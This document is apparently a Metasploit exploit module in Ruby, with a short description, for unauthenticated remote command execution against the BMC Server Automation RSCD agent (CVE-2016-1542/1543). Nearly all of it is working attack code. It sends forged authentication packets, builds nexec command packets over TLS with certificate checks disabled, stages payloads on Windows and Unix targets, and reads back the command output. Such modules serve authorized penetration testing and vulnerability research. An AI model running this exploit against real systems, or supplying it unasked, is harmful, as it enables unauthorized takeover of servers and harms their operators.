This Metasploit module exploits a weak access control check in the BMC Server Automation RSCD agent that allows arbitrary operating system commands to be executed without authentication. Note: Under Windows, non-powershell commands may need to be prefixed with 'cmd /c'.
21c820bdd8fcc8d4555e107c87aa2da7##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Exploit::Remote::Tcp
include Msf::Exploit::CmdStager
include Msf::Exploit::Powershell
def initialize(info = {})
super(update_info(info,
'Name' => 'BMC Server Automation RSCD Agent NSH Remote ' \
'Command Execution',
'Description' => %q(
This module exploits a weak access control check in the BMC Server
Automation RSCD agent that allows arbitrary operating system commands
to be executed without authentication.
Note: Under Windows, non-powershell commands may need to be prefixed
with 'cmd /c'.
),
'Author' =>
[
'Olga Yanushkevich, ERNW <@yaole0>', # Vulnerability discovery
'Nicky Bloor (@NickstaDB) <[email protected]>' # RCE payload and Metasploit module
],
'References' =>
[
['URL', 'https://insinuator.net/2016/03/bmc-bladelogic-cve-2016-1542-and-cve-2016-1543/'],
['URL', 'https://nickbloor.co.uk/2018/01/01/rce-with-bmc-server-automation/'],
['URL', 'https://nickbloor.co.uk/2018/01/08/improving-the-bmc-rscd-rce-exploit/'],
['CVE', '2016-1542'],
['CVE', '2016-1543']
],
'DisclosureDate' => 'Mar 16 2016',
'Privileged' => false,
'Stance' => Msf::Exploit::Stance::Aggressive,
'Platform' => %w[win linux unix],
'Targets' =>
[
['Automatic', {}],
[
'Windows/VBS Stager', {
'Platform' => 'win',
'Payload' => { 'Space' => 8100 }
}
],
[
'Unix/Linux', {
'Platform' => %w[linux unix],
'Payload' => { 'Space' => 32_700 }
}
],
[
'Generic Command', {
'Arch' => ARCH_CMD,
'Platform' => %w[linux unix win]
}
]
],
'DefaultTarget' => 0,
'License' => MSF_LICENSE,
'Payload' => {
'BadChars' => "\x00\x09\x0a"
},
'CmdStagerFlavor' => %w[vbs echo])
)
register_options(
[
Opt::RPORT(4750)
]
)
deregister_options('SRVHOST', 'SRVPORT', 'SSL', 'SSLCert', 'URIPATH')
end
def check
# Send agentinfo request and check result
vprint_status('Checking for BMC with agentinfo request.')
res = send_agentinfo_request
# Check for successful platform detection
if res[0] == 1
vprint_good('BMC RSCD agent detected, platform appears to be ' + res[1])
return CheckCode::Detected
end
# Get first four bytes of the packet which should hold the content length
res_len = res[1] && res[1].length > 3 ? res[1][0..3].unpack('N')[0] : 0
# Return unknown if the packet format appears correct (length field check)
if res[1] && res[1].length - 4 == res_len
vprint_warning('Target appears to be BMC, however an unexpected ' \
'agentinfo response was returned.')
vprint_warning('Response: ' + res[1])
return CheckCode::Unknown
end
# Invalid response, probably not a BMC RSCD target
vprint_error('The target does not appear to be a BMC RSCD agent.')
vprint_error('Response: ' + res[1]) if res[1]
CheckCode::Safe
end
def exploit
# Do auto target selection
target_name = target.name
if target_name == 'Automatic'
# Attempt to detect the target platform
vprint_status('Detecting remote platform for auto target selection.')
platform = send_agentinfo_request
# Fail if platform detection was unsuccessful
if platform[0].zero?
fail_with(Failure::UnexpectedReply, 'Unexpected response while ' \
'detecting target platform.')
end
# Set target based on returned platform
target_name = if platform[1].downcase.include?('windows')
'Windows/VBS Stager'
else
'Unix/Linux'
end
end
# Exploit based on target
vprint_status('Generating and delivering payload.')
if target_name == 'Windows/VBS Stager'
if payload.raw.start_with?('powershell', 'cmd')
execute_command(payload.raw)
else
execute_cmdstager(flavor: :vbs, linemax: payload.space)
end
handler
elsif target_name == 'Unix/Linux'
execute_cmdstager(flavor: :echo, linemax: payload.space)
handler
elsif target_name == 'Generic Cmd'
send_nexec_request(payload.raw, true)
end
end
# Execute a command but don't print output
def execute_command(command, opts = {})
if opts[:flavor] == :vbs
if command.start_with?('powershell') == false
if command.start_with?('cmd') == false
send_nexec_request('cmd /c ' + command, false)
return
end
end
end
send_nexec_request(command, false)
end
# Connect to the RSCD agent and execute a command via nexec
def send_nexec_request(command, show_output)
# Connect and auth
vprint_status('Connecting to RSCD agent and sending fake auth.')
connect_to_rscd
send_fake_nexec_auth
# Generate and send the payload
vprint_status('Sending command to execute.')
sock.put(generate_cmd_pkt(command))
# Finish the nexec request
sock.put("\x00\x00\x00\x22\x30\x30\x30\x30\x30\x30\x31\x61\x30\x30\x30" \
"\x30\x30\x30\x31\x32\x77\x38\x30\x3b\x34\x31\x3b\x33\x39\x30" \
"\x35\x38\x3b\x32\x34\x38\x35\x31")
sock.put("\x00\x00\x00\x12\x30\x30\x30\x30\x30\x30\x30\x61\x30\x30\x30" \
"\x30\x30\x30\x30\x32\x65\x7f")
sock.put("\x00\x00\x00\x12\x30\x30\x30\x30\x30\x30\x30\x61\x30\x30\x30" \
"\x30\x30\x30\x30\x32\x69\x03")
sock.put("\x00\x00\x00\x12\x30\x30\x30\x30\x30\x30\x30\x61\x30\x30\x30" \
"\x30\x30\x30\x30\x32\x74\x31")
sock.put("\x00\x00\x00\x1c\x30\x30\x30\x30\x30\x30\x31\x34\x30\x30\x30" \
"\x30\x30\x30\x30\x63\x77\x38\x30\x3b\x34\x31\x3b\x38\x30\x3b" \
"\x34\x31")
sock.put("\x00\x00\x00\x11\x30\x30\x30\x30\x30\x30\x30\x39\x30\x30\x30" \
"\x30\x30\x30\x30\x31\x7a")
# Get the response from the RSCD agent and disconnect
vprint_status('Reading response from RSCD agent.')
res = read_cmd_output
if show_output == true
if res && res[0] == 1
print_good("Output\n" + res[1])
else
print_warning('Command execution failed, the command may not exist.')
vprint_warning("Output\n" + res[1])
end
end
disconnect
end
# Attempt to retrieve RSCD agent info and return the platform string
def send_agentinfo_request
# Connect and send fake auth
vprint_status('Connecting to RSCD agent and sending fake auth.')
connect_to_rscd
send_fake_agentinfo_auth
# Send agentinfo request, read the response, and disconnect
vprint_status('Requesting agent information.')
sock.put("\x00\x00\x00\x32\x30\x30\x30\x30\x30\x30\x32\x61\x30\x30\x30" \
"\x30\x30\x30\x31\x30\x36\x34\x3b\x30\x3b\x32\x3b\x36\x66\x37" \
"\x3b\x38\x38\x30\x3b\x30\x30\x30\x30\x30\x30\x30\x30\x32\x34" \
"\x31\x30\x30\x30\x30\x30\x30\x30\x30")
res = sock.get_once
disconnect
# Return the platform field from the response if it looks valid
res_len = res.length > 3 ? res[0..3].unpack('N')[0] : 0
return [1, res.split(';')[4]] if res &&
res.split(';').length > 6 &&
res.length == (res_len + 4)
# Invalid or unexpected response format, return the complete response
[0, res]
end
# Connect to the target and upgrade to an encrypted connection
def connect_to_rscd
connect
sock.put('TLS')
sock.extend(Rex::Socket::SslTcp)
sock.sslctx = OpenSSL::SSL::SSLContext.new(:SSLv23)
sock.sslctx.verify_mode = OpenSSL::SSL::VERIFY_NONE
sock.sslctx.options = OpenSSL::SSL::OP_ALL
sock.sslctx.ciphers = 'ALL'
sock.sslsock = OpenSSL::SSL::SSLSocket.new(sock, sock.sslctx)
sock.sslsock.connect
end
# Send fake agentinfo auth packet and ignore the response
def send_fake_agentinfo_auth
sock.put("\x00\x00\x00\x5e\x30\x30\x30\x30\x30\x30\x35\x36\x30\x30\x30" \
"\x30\x30\x30\x31\x31\x36\x35\x3b\x30\x3b\x33\x35\x3b\x38\x38" \
"\x30\x3b\x38\x38\x30\x3b\x30\x30\x30\x30\x30\x30\x30\x33\x35" \
"\x30\x3b\x30\x3b\x37\x3b" + rand_text_alpha(7) + "\x3b\x39" \
"\x3b\x61\x67\x65\x6e\x74\x69\x6e\x66\x6f\x3b\x2d\x3b\x2d\x3b" \
"\x30\x3b\x2d\x3b\x31\x3b\x31\x3b\x37\x3b" + rand_text_alpha(7) +
"\x3b\x55\x54\x46\x2d\x38")
sock.get_once
end
# Send fake nexec auth packet and ignore the response
def send_fake_nexec_auth
sock.put("\x00\x00\x00\x5a\x30\x30\x30\x30\x30\x30\x35\x32\x30\x30\x30" \
"\x30\x30\x30\x31\x31\x36\x35\x3b\x30\x3b\x33\x31\x3b\x64\x61" \
"\x34\x3b\x64\x61\x34\x3b\x30\x30\x30\x30\x30\x30\x30\x33\x31" \
"\x30\x3b\x30\x3b\x37\x3b" + rand_text_alpha(7) + "\x3b\x35" \
"\x3b\x6e\x65\x78\x65\x63\x3b\x2d\x3b\x2d\x3b\x30\x3b\x2d\x3b" \
"\x31\x3b\x31\x3b\x37\x3b" + rand_text_alpha(7) + "\x3b\x55" \
"\x54\x46\x2d\x38")
sock.get_once
end
# Generate a payload packet
def generate_cmd_pkt(command)
# Encode back slashes
pkt = command.gsub('\\', "\xc1\xdc")
# Encode double quotes unless powershell is being used
pkt = pkt.gsub('"', "\xc2\x68") unless pkt.start_with?('powershell')
# Construct the body of the payload packet
pkt = pad_number(pkt.length + 32) + "\x30\x30\x30\x30\x30\x30\x31\x30" \
"\x62\x37\x3b\x30\x3b\x32\x3b\x63\x61\x65\x3b\x64\x61\x34\x3b\x30" +
pad_number(pkt.length) + pkt
# Prefix with the packet length and return
[pkt.length].pack('N') + pkt
end
# Convert the given number to a hex string padded to 8 chars
def pad_number(num)
format('%08x', num)
end
# Read the command output from the server
def read_cmd_output
all_output = ''
response_done = false
# Read the entire response from the RSCD service
while response_done == false
# Read a response chunk
chunk = sock.get_once
next unless chunk && chunk.length > 4
chunk_len = chunk[0..3].unpack('N')[0]
chunk = chunk[4..chunk.length]
chunk += sock.get_once while chunk.length < chunk_len
# Check for the "end of output" chunk
if chunk_len == 18 && chunk.start_with?("\x30\x30\x30\x30\x30\x30\x30" \
"\x61\x30\x30\x30\x30\x30\x30" \
"\x30\x32\x78")
# Response has completed
response_done = true
elsif all_output == ''
# Keep the first response chunk as-is
all_output += chunk
# If the command failed, we're done
response_done = true unless all_output[8..15].to_i(16) != 1
else
# Append everything but the length fields to the output buffer
all_output += chunk[17..chunk.length]
end
end
# Return output if response indicated success
return [1, all_output[26..all_output.length]] if
all_output &&
all_output.length > 26 &&
all_output[8..15].to_i(16) == 1
# Return nothing if there isn't enough data for error output
return [0, ''] unless all_output && all_output.length > 17
# Get the length of the error output and return the error
err_len = all_output[8..15].to_i(16) - 1
[0, all_output[17..17 + err_len]]
end
end